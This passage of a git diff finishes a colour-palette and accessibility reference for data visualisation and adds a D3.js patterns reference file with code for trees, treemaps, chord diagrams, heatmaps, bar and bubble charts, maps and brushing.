- Profit, gain
|
||||
|
||||
**Blue:**
|
||||
- Trust, calm
|
||||
- Water, cold
|
||||
- Information, neutral
|
||||
|
||||
**Yellow/Orange:**
|
||||
- Warning, caution
|
||||
- Energy, warmth
|
||||
- Attention
|
||||
|
||||
**Grey:**
|
||||
- Neutral, inactive
|
||||
- Missing data
|
||||
- Background
|
||||
|
||||
### Context-specific palettes
|
||||
|
||||
**Financial:**
|
||||
```javascript
|
||||
const financialColours = {
|
||||
profit: '#27ae60',
|
||||
loss: '#e74c3c',
|
||||
neutral: '#95a5a6',
|
||||
highlight: '#3498db'
|
||||
};
|
||||
```
|
||||
|
||||
**Temperature:**
|
||||
```javascript
|
||||
const temperatureScale = d3.scaleSequential(d3.interpolateRdYlBu)
|
||||
.domain([40, -10]); // Hot to cold (reversed)
|
||||
```
|
||||
|
||||
**Traffic/Status:**
|
||||
```javascript
|
||||
const statusColours = {
|
||||
success: '#27ae60',
|
||||
warning: '#f39c12',
|
||||
error: '#e74c3c',
|
||||
info: '#3498db',
|
||||
neutral: '#95a5a6'
|
||||
};
|
||||
```
|
||||
|
||||
## Accessibility best practices
|
||||
|
||||
### Contrast ratios
|
||||
|
||||
Ensure sufficient contrast between colours and backgrounds:
|
||||
|
||||
```javascript
|
||||
// Good contrast example
|
||||
const highContrast = {
|
||||
background: '#ffffff',
|
||||
text: '#2c3e50',
|
||||
primary: '#3498db',
|
||||
secondary: '#e74c3c'
|
||||
};
|
||||
```
|
||||
|
||||
**WCAG guidelines:**
|
||||
- Normal text: 4.5:1 minimum
|
||||
- Large text: 3:1 minimum
|
||||
- UI components: 3:1 minimum
|
||||
|
||||
### Redundant encoding
|
||||
|
||||
Never rely solely on colour to convey information:
|
||||
|
||||
```javascript
|
||||
// Add patterns or shapes
|
||||
const symbols = ['circle', 'square', 'triangle', 'diamond'];
|
||||
|
||||
// Add text labels
|
||||
// Use line styles (solid, dashed, dotted)
|
||||
// Use size encoding
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
Test visualisations for colour blindness:
|
||||
- Chrome DevTools (Rendering > Emulate vision deficiencies)
|
||||
- Colour Oracle (free desktop application)
|
||||
- Coblis (online simulator)
|
||||
|
||||
## Professional colour recommendations
|
||||
|
||||
### Data journalism
|
||||
|
||||
```javascript
|
||||
// Guardian style
|
||||
const guardianPalette = [
|
||||
'#005689', // Guardian blue
|
||||
'#c70000', // Guardian red
|
||||
'#7d0068', // Guardian pink
|
||||
'#951c75', // Guardian purple
|
||||
];
|
||||
|
||||
// FT style
|
||||
const ftPalette = [
|
||||
'#0f5499', // FT blue
|
||||
'#990f3d', // FT red
|
||||
'#593380', // FT purple
|
||||
'#262a33', // FT black
|
||||
];
|
||||
```
|
||||
|
||||
### Academic/Scientific
|
||||
|
||||
```javascript
|
||||
// Nature journal style
|
||||
const naturePalette = [
|
||||
'#0071b2', // Blue
|
||||
'#d55e00', // Vermillion
|
||||
'#009e73', // Green
|
||||
'#f0e442', // Yellow
|
||||
];
|
||||
|
||||
// Use Viridis for continuous data
|
||||
const scientificScale = d3.scaleSequential(d3.interpolateViridis);
|
||||
```
|
||||
|
||||
### Corporate/Business
|
||||
|
||||
```javascript
|
||||
// Professional, conservative
|
||||
const corporatePalette = [
|
||||
'#003f5c', // Dark blue
|
||||
'#58508d', // Purple
|
||||
'#bc5090', // Magenta
|
||||
'#ff6361', // Coral
|
||||
'#ffa600' // Orange
|
||||
];
|
||||
```
|
||||
|
||||
## Dynamic colour selection
|
||||
|
||||
### Based on data range
|
||||
|
||||
```javascript
|
||||
function selectColourScheme(data) {
|
||||
const extent = d3.extent(data);
|
||||
const hasNegative = extent[0] < 0;
|
||||
const hasPositive = extent[1] > 0;
|
||||
|
||||
if (hasNegative && hasPositive) {
|
||||
// Diverging: data crosses zero
|
||||
return d3.scaleSequentialSymlog(d3.interpolateRdBu)
|
||||
.domain([extent[0], 0, extent[1]]);
|
||||
} else {
|
||||
// Sequential: all positive or all negative
|
||||
return d3.scaleSequential(d3.interpolateViridis)
|
||||
.domain(extent);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Based on category count
|
||||
|
||||
```javascript
|
||||
function selectCategoricalScheme(categories) {
|
||||
const n = categories.length;
|
||||
|
||||
if (n <= 10) {
|
||||
return d3.scaleOrdinal(d3.schemeTableau10);
|
||||
} else if (n <= 12) {
|
||||
return d3.scaleOrdinal(d3.schemePaired);
|
||||
} else {
|
||||
// For many categories, use sequential with quantize
|
||||
return d3.scaleQuantize()
|
||||
.domain([0, n - 1])
|
||||
.range(d3.quantize(d3.interpolateRainbow, n));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Common colour mistakes to avoid
|
||||
|
||||
1. **Rainbow gradients for sequential data**
|
||||
- Problem: Not perceptually uniform, hard to read
|
||||
- Solution: Use Viridis, Blues, or other uniform schemes
|
||||
|
||||
2. **Red-green for diverging (colour blindness)**
|
||||
- Problem: 8% of males can't distinguish
|
||||
- Solution: Use blue-orange or purple-green
|
||||
|
||||
3. **Too many categorical colours**
|
||||
- Problem: Hard to distinguish and remember
|
||||
- Solution: Limit to 5-8 categories, use grouping
|
||||
|
||||
4. **Insufficient contrast**
|
||||
- Problem: Poor readability
|
||||
- Solution: Test contrast ratios, use darker colours on light backgrounds
|
||||
|
||||
5. **Culturally inconsistent colours**
|
||||
- Problem: Confusing semantic meaning
|
||||
- Solution: Research colour associations for target audience
|
||||
|
||||
6. **Inverted temperature scales**
|
||||
- Problem: Counterintuitive (red = cold)
|
||||
- Solution: Red/orange = hot, blue = cold
|
||||
|
||||
## Quick reference guide
|
||||
|
||||
**Need to show...**
|
||||
|
||||
- **Categories (≤10):** `d3.schemeCategory10` or `d3.schemeTableau10`
|
||||
- **Categories (>10):** `d3.schemePaired` or group categories
|
||||
- **Sequential (general):** `d3.interpolateViridis`
|
||||
- **Sequential (scientific):** `d3.interpolateViridis` or `d3.interpolatePlasma`
|
||||
- **Sequential (temperature):** `d3.interpolateRdYlBu` (inverted)
|
||||
- **Diverging (zero):** `d3.interpolateRdBu` or `d3.interpolateBrBG`
|
||||
- **Diverging (good/bad):** `d3.interpolateRdYlGn` (inverted)
|
||||
- **Colour-blind safe (categorical):** Okabe-Ito palette (shown above)
|
||||
- **Colour-blind safe (sequential):** `d3.interpolateCividis` or `d3.interpolateBlues`
|
||||
- **Colour-blind safe (diverging):** `d3.interpolatePuOr` or `d3.interpolateBrBG`
|
||||
|
||||
**Always remember:**
|
||||
1. Test for colour-blindness
|
||||
2. Ensure sufficient contrast
|
||||
3. Use semantic colours appropriately
|
||||
4. Add redundant encoding (patterns, labels)
|
||||
5. Keep it simple (fewer colours = clearer visualisation)
|
||||
869
skills/claude-d3js-skill/references/d3-patterns.md
Normal file
869
skills/claude-d3js-skill/references/d3-patterns.md
Normal file
@@ -0,0 +1,869 @@
|
||||
# D3.js Visualisation Patterns
|
||||
|
||||
This reference provides detailed code patterns for common d3.js visualisation types.
|
||||
|
||||
## Hierarchical visualisations
|
||||
|
||||
### Tree diagram
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
|
||||
const tree = d3.tree().size([height - 100, width - 200]);
|
||||
|
||||
const root = d3.hierarchy(data);
|
||||
tree(root);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", "translate(100,50)");
|
||||
|
||||
// Links
|
||||
g.selectAll("path")
|
||||
.data(root.links())
|
||||
.join("path")
|
||||
.attr("d", d3.linkHorizontal()
|
||||
.x(d => d.y)
|
||||
.y(d => d.x))
|
||||
.attr("fill", "none")
|
||||
.attr("stroke", "#555")
|
||||
.attr("stroke-width", 2);
|
||||
|
||||
// Nodes
|
||||
const node = g.selectAll("g")
|
||||
.data(root.descendants())
|
||||
.join("g")
|
||||
.attr("transform", d => `translate(${d.y},${d.x})`);
|
||||
|
||||
node.append("circle")
|
||||
.attr("r", 6)
|
||||
.attr("fill", d => d.children ? "#555" : "#999");
|
||||
|
||||
node.append("text")
|
||||
.attr("dy", "0.31em")
|
||||
.attr("x", d => d.children ? -8 : 8)
|
||||
.attr("text-anchor", d => d.children ? "end" : "start")
|
||||
.text(d => d.data.name)
|
||||
.style("font-size", "12px");
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Treemap
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
|
||||
const root = d3.hierarchy(data)
|
||||
.sum(d => d.value)
|
||||
.sort((a, b) => b.value - a.value);
|
||||
|
||||
d3.treemap()
|
||||
.size([width, height])
|
||||
.padding(2)
|
||||
.round(true)(root);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
const cell = svg.selectAll("g")
|
||||
.data(root.leaves())
|
||||
.join("g")
|
||||
.attr("transform", d => `translate(${d.x0},${d.y0})`);
|
||||
|
||||
cell.append("rect")
|
||||
.attr("width", d => d.x1 - d.x0)
|
||||
.attr("height", d => d.y1 - d.y0)
|
||||
.attr("fill", d => colourScale(d.parent.data.name))
|
||||
.attr("stroke", "white")
|
||||
.attr("stroke-width", 2);
|
||||
|
||||
cell.append("text")
|
||||
.attr("x", 4)
|
||||
.attr("y", 16)
|
||||
.text(d => d.data.name)
|
||||
.style("font-size", "12px")
|
||||
.style("fill", "white");
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Sunburst diagram
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 600;
|
||||
const height = 600;
|
||||
const radius = Math.min(width, height) / 2;
|
||||
|
||||
const root = d3.hierarchy(data)
|
||||
.sum(d => d.value)
|
||||
.sort((a, b) => b.value - a.value);
|
||||
|
||||
const partition = d3.partition()
|
||||
.size([2 * Math.PI, radius]);
|
||||
|
||||
partition(root);
|
||||
|
||||
const arc = d3.arc()
|
||||
.startAngle(d => d.x0)
|
||||
.endAngle(d => d.x1)
|
||||
.innerRadius(d => d.y0)
|
||||
.outerRadius(d => d.y1);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${width / 2},${height / 2})`);
|
||||
|
||||
g.selectAll("path")
|
||||
.data(root.descendants())
|
||||
.join("path")
|
||||
.attr("d", arc)
|
||||
.attr("fill", d => colourScale(d.depth))
|
||||
.attr("stroke", "white")
|
||||
.attr("stroke-width", 1);
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Chord diagram
|
||||
|
||||
```javascript
|
||||
function drawChordDiagram(data) {
|
||||
// data format: array of objects with source, target, and value
|
||||
// Example: [{ source: 'A', target: 'B', value: 10 }, ...]
|
||||
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart');
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 600;
|
||||
const height = 600;
|
||||
const innerRadius = Math.min(width, height) * 0.3;
|
||||
const outerRadius = innerRadius + 30;
|
||||
|
||||
// Create matrix from data
|
||||
const nodes = Array.from(new Set(data.flatMap(d => [d.source, d.target])));
|
||||
const matrix = Array.from({ length: nodes.length }, () => Array(nodes.length).fill(0));
|
||||
|
||||
data.forEach(d => {
|
||||
const i = nodes.indexOf(d.source);
|
||||
const j = nodes.indexOf(d.target);
|
||||
matrix[i][j] += d.value;
|
||||
matrix[j][i] += d.value;
|
||||
});
|
||||
|
||||
// Create chord layout
|
||||
const chord = d3.chord()
|
||||
.padAngle(0.05)
|
||||
.sortSubgroups(d3.descending);
|
||||
|
||||
const arc = d3.arc()
|
||||
.innerRadius(innerRadius)
|
||||
.outerRadius(outerRadius);
|
||||
|
||||
const ribbon = d3.ribbon()
|
||||
.source(d => d.source)
|
||||
.target(d => d.target);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10)
|
||||
.domain(nodes);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${width / 2},${height / 2})`);
|
||||
|
||||
const chords = chord(matrix);
|
||||
|
||||
// Draw ribbons
|
||||
g.append("g")
|
||||
.attr("fill-opacity", 0.67)
|
||||
.selectAll("path")
|
||||
.data(chords)
|
||||
.join("path")
|
||||
.attr("d", ribbon)
|
||||
.attr("fill", d => colourScale(nodes[d.source.index]))
|
||||
.attr("stroke", d => d3.rgb(colourScale(nodes[d.source.index])).darker());
|
||||
|
||||
// Draw groups (arcs)
|
||||
const group = g.append("g")
|
||||
.selectAll("g")
|
||||
.data(chords.groups)
|
||||
.join("g");
|
||||
|
||||
group.append("path")
|
||||
.attr("d", arc)
|
||||
.attr("fill", d => colourScale(nodes[d.index]))
|
||||
.attr("stroke", d => d3.rgb(colourScale(nodes[d.index])).darker());
|
||||
|
||||
// Add labels
|
||||
group.append("text")
|
||||
.each(d => { d.angle = (d.startAngle + d.endAngle) / 2; })
|
||||
.attr("dy", "0.31em")
|
||||
.attr("transform", d => `rotate(${(d.angle * 180 / Math.PI) - 90})translate(${outerRadius + 30})${d.angle > Math.PI ? "rotate(180)" : ""}`)
|
||||
.attr("text-anchor", d => d.angle > Math.PI ? "end" : null)
|
||||
.text((d, i) => nodes[i])
|
||||
.style("font-size", "12px");
|
||||
}
|
||||
|
||||
// Data format example:
|
||||
// const data = [
|
||||
// { source: 'Category A', target: 'Category B', value: 100 },
|
||||
// { source: 'Category A', target: 'Category C', value: 50 },
|
||||
// { source: 'Category B', target: 'Category C', value: 75 }
|
||||
// ];
|
||||
// drawChordDiagram(data);
|
||||
```
|
||||
|
||||
## Advanced chart types
|
||||
|
||||
### Heatmap
|
||||
|
||||
```javascript
|
||||
function drawHeatmap(data) {
|
||||
// data format: array of objects with row, column, and value
|
||||
// Example: [{ row: 'A', column: 'X', value: 10 }, ...]
|
||||
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart');
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
const margin = { top: 100, right: 30, bottom: 30, left: 100 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// Get unique rows and columns
|
||||
const rows = Array.from(new Set(data.map(d => d.row)));
|
||||
const columns = Array.from(new Set(data.map(d => d.column)));
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
// Create scales
|
||||
const xScale = d3.scaleBand()
|
||||
.domain(columns)
|
||||
.range([0, innerWidth])
|
||||
.padding(0.01);
|
||||
|
||||
const yScale = d3.scaleBand()
|
||||
.domain(rows)
|
||||
.range([0, innerHeight])
|
||||
.padding(0.01);
|
||||
|
||||
// Colour scale for values (sequential from light to dark red)
|
||||
const colourScale = d3.scaleSequential(d3.interpolateYlOrRd)
|
||||
.domain([0, d3.max(data, d => d.value)]);
|
||||
|
||||
// Draw rectangles
|
||||
g.selectAll("rect")
|
||||
.data(data)
|
||||
.join("rect")
|
||||
.attr("x", d => xScale(d.column))
|
||||
.attr("y", d => yScale(d.row))
|
||||
.attr("width", xScale.bandwidth())
|
||||
.attr("height", yScale.bandwidth())
|
||||
.attr("fill", d => colourScale(d.value));
|
||||
|
||||
// Add x-axis labels
|
||||
svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`)
|
||||
.selectAll("text")
|
||||
.data(columns)
|
||||
.join("text")
|
||||
.attr("x", d => xScale(d) + xScale.bandwidth() / 2)
|
||||
.attr("y", -10)
|
||||
.attr("text-anchor", "middle")
|
||||
.text(d => d)
|
||||
.style("font-size", "12px");
|
||||
|
||||
// Add y-axis labels
|
||||
svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`)
|
||||
.selectAll("text")
|
||||
.data(rows)
|
||||
.join("text")
|
||||
.attr("x", -10)
|
||||
.attr("y", d => yScale(d) + yScale.bandwidth() / 2)
|
||||
.attr("dy", "0.35em")
|
||||
.attr("text-anchor", "end")
|
||||
.text(d => d)
|
||||
.style("font-size", "12px");
|
||||
|
||||
// Add colour legend
|
||||
const legendWidth = 20;
|
||||
const legendHeight = 200;
|
||||
const legend = svg.append("g")
|
||||
.attr("transform", `translate(${width - 60},${margin.top})`);
|
||||
|
||||
const legendScale = d3.scaleLinear()
|
||||
.domain(colourScale.domain())
|
||||
.range([legendHeight, 0]);
|
||||
|
||||
const legendAxis = d3.axisRight(legendScale).ticks(5);
|
||||
|
||||
// Draw colour gradient in legend
|
||||
for (let i = 0; i < legendHeight; i++) {
|
||||
legend.append("rect")
|
||||
.attr("y", i)
|
||||
.attr("width", legendWidth)
|
||||
.attr("height", 1)
|
||||
.attr("fill", colourScale(legendScale.invert(i)));
|
||||
}
|
||||
|
||||
legend.append("g")
|
||||
.attr("transform", `translate(${legendWidth},0)`)
|
||||
.call(legendAxis);
|
||||
}
|
||||
|
||||
// Data format example:
|
||||
// const data = [
|
||||
// { row: 'Monday', column: 'Morning', value: 42 },
|
||||
// { row: 'Monday', column: 'Afternoon', value: 78 },
|
||||
// { row: 'Tuesday', column: 'Morning', value: 65 },
|
||||
// { row: 'Tuesday', column: 'Afternoon', value: 55 }
|
||||
// ];
|
||||
// drawHeatmap(data);
|
||||
```
|
||||
|
||||
### Area chart with gradient
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// Define gradient
|
||||
const defs = svg.append("defs");
|
||||
const gradient = defs.append("linearGradient")
|
||||
.attr("id", "areaGradient")
|
||||
.attr("x1", "0%")
|
||||
.attr("x2", "0%")
|
||||
.attr("y1", "0%")
|
||||
.attr("y2", "100%");
|
||||
|
||||
gradient.append("stop")
|
||||
.attr("offset", "0%")
|
||||
.attr("stop-color", "steelblue")
|
||||
.attr("stop-opacity", 0.8);
|
||||
|
||||
gradient.append("stop")
|
||||
.attr("offset", "100%")
|
||||
.attr("stop-color", "steelblue")
|
||||
.attr("stop-opacity", 0.1);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const xScale = d3.scaleTime()
|
||||
.domain(d3.extent(data, d => d.date))
|
||||
.range([0, innerWidth]);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.value)])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
const area = d3.area()
|
||||
.x(d => xScale(d.date))
|
||||
.y0(innerHeight)
|
||||
.y1(d => yScale(d.value))
|
||||
.curve(d3.curveMonotoneX);
|
||||
|
||||
g.append("path")
|
||||
.datum(data)
|
||||
.attr("fill", "url(#areaGradient)")
|
||||
.attr("d", area);
|
||||
|
||||
const line = d3.line()
|
||||
.x(d => xScale(d.date))
|
||||
.y(d => yScale(d.value))
|
||||
.curve(d3.curveMonotoneX);
|
||||
|
||||
g.append("path")
|
||||
.datum(data)
|
||||
.attr("fill", "none")
|
||||
.attr("stroke", "steelblue")
|
||||
.attr("stroke-width", 2)
|
||||
.attr("d", line);
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(xScale));
|
||||
|
||||
g.append("g")
|
||||
.call(d3.axisLeft(yScale));
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Stacked bar chart
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const categories = Object.keys(data[0]).filter(k => k !== 'group');
|
||||
const stackedData = d3.stack().keys(categories)(data);
|
||||
|
||||
const xScale = d3.scaleBand()
|
||||
.domain(data.map(d => d.group))
|
||||
.range([0, innerWidth])
|
||||
.padding(0.1);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(stackedData[stackedData.length - 1], d => d[1])])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
g.selectAll("g")
|
||||
.data(stackedData)
|
||||
.join("g")
|
||||
.attr("fill", (d, i) => colourScale(i))
|
||||
.selectAll("rect")
|
||||
.data(d => d)
|
||||
.join("rect")
|
||||
.attr("x", d => xScale(d.data.group))
|
||||
.attr("y", d => yScale(d[1]))
|
||||
.attr("height", d => yScale(d[0]) - yScale(d[1]))
|
||||
.attr("width", xScale.bandwidth());
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(xScale));
|
||||
|
||||
g.append("g")
|
||||
.call(d3.axisLeft(yScale));
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Grouped bar chart
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const categories = Object.keys(data[0]).filter(k => k !== 'group');
|
||||
|
||||
const x0Scale = d3.scaleBand()
|
||||
.domain(data.map(d => d.group))
|
||||
.range([0, innerWidth])
|
||||
.padding(0.1);
|
||||
|
||||
const x1Scale = d3.scaleBand()
|
||||
.domain(categories)
|
||||
.range([0, x0Scale.bandwidth()])
|
||||
.padding(0.05);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => Math.max(...categories.map(c => d[c])))])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
const group = g.selectAll("g")
|
||||
.data(data)
|
||||
.join("g")
|
||||
.attr("transform", d => `translate(${x0Scale(d.group)},0)`);
|
||||
|
||||
group.selectAll("rect")
|
||||
.data(d => categories.map(key => ({ key, value: d[key] })))
|
||||
.join("rect")
|
||||
.attr("x", d => x1Scale(d.key))
|
||||
.attr("y", d => yScale(d.value))
|
||||
.attr("width", x1Scale.bandwidth())
|
||||
.attr("height", d => innerHeight - yScale(d.value))
|
||||
.attr("fill", d => colourScale(d.key));
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(x0Scale));
|
||||
|
||||
g.append("g")
|
||||
.call(d3.axisLeft(yScale));
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Bubble chart
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.x)])
|
||||
.range([0, innerWidth]);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.y)])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
const sizeScale = d3.scaleSqrt()
|
||||
.domain([0, d3.max(data, d => d.size)])
|
||||
.range([0, 50]);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
g.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", d => sizeScale(d.size))
|
||||
.attr("fill", d => colourScale(d.category))
|
||||
.attr("opacity", 0.6)
|
||||
.attr("stroke", "white")
|
||||
.attr("stroke-width", 2);
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(xScale));
|
||||
|
||||
g.append("g")
|
||||
.call(d3.axisLeft(yScale));
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
## Geographic visualisations
|
||||
|
||||
### Basic map with points
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!geoData || !pointData) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
|
||||
const projection = d3.geoMercator()
|
||||
.fitSize([width, height], geoData);
|
||||
|
||||
const pathGenerator = d3.geoPath().projection(projection);
|
||||
|
||||
// Draw map
|
||||
svg.selectAll("path")
|
||||
.data(geoData.features)
|
||||
.join("path")
|
||||
.attr("d", pathGenerator)
|
||||
.attr("fill", "#e0e0e0")
|
||||
.attr("stroke", "#999")
|
||||
.attr("stroke-width", 0.5);
|
||||
|
||||
// Draw points
|
||||
svg.selectAll("circle")
|
||||
.data(pointData)
|
||||
.join("circle")
|
||||
.attr("cx", d => projection([d.longitude, d.latitude])[0])
|
||||
.attr("cy", d => projection([d.longitude, d.latitude])[1])
|
||||
.attr("r", 5)
|
||||
.attr("fill", "steelblue")
|
||||
.attr("opacity", 0.7);
|
||||
|
||||
}, [geoData, pointData]);
|
||||
```
|
||||
|
||||
### Choropleth map
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!geoData || !valueData) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
|
||||
const projection = d3.geoMercator()
|
||||
.fitSize([width, height], geoData);
|
||||
|
||||
const pathGenerator = d3.geoPath().projection(projection);
|
||||
|
||||
// Create value lookup
|
||||
const valueLookup = new Map(valueData.map(d => [d.id, d.value]));
|
||||
|
||||
// Colour scale
|
||||
const colourScale = d3.scaleSequential(d3.interpolateBlues)
|
||||
.domain([0, d3.max(valueData, d => d.value)]);
|
||||
|
||||
svg.selectAll("path")
|
||||
.data(geoData.features)
|
||||
.join("path")
|
||||
.attr("d", pathGenerator)
|
||||
.attr("fill", d => {
|
||||
const value = valueLookup.get(d.id);
|
||||
return value ? colourScale(value) : "#e0e0e0";
|
||||
})
|
||||
.attr("stroke", "#999")
|
||||
.attr("stroke-width", 0.5);
|
||||
|
||||
}, [geoData, valueData]);
|
||||
```
|
||||
|
||||
## Advanced interactions
|
||||
|
||||
### Brush and zoom
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.x)])
|
||||
.range([0, innerWidth]);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.y)])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const circles = g.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", 5)
|
||||
.attr("fill", "steelblue");
|
||||
|
||||
// Add brush
|
||||
const brush = d3.brush()
|
||||
.extent([[0, 0], [innerWidth, innerHeight]])
|
||||
.on("start brush", (event) => {
|
||||
if (!event.selection) return;
|
||||
|
||||
const [[x0, y0], [x1, y1]] = event.selection;
|
||||
|
||||
circles.attr("fill", d => {
|
||||
const cx = xScale(d.x);
|
||||
const cy = yScale(d.y);
|
||||
return (cx >= x0 && cx <= x1 && cy >= y0 && cy <= y1)
|
||||
? "orange"
|
||||
: "steelblue";
|
||||
});
|
||||
});
|
||||
|
||||
g.append("g")
|
||||
.attr("class", "brush")
|
||||
.call(brush);
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Linked brushing between charts
|
||||
|
||||
```javascript
|
||||
function LinkedCharts({ data }) {
|
||||
const [selectedPoints, setSelectedPoints] = useState(new Set());
|
||||
const svg1Ref = useRef();
|
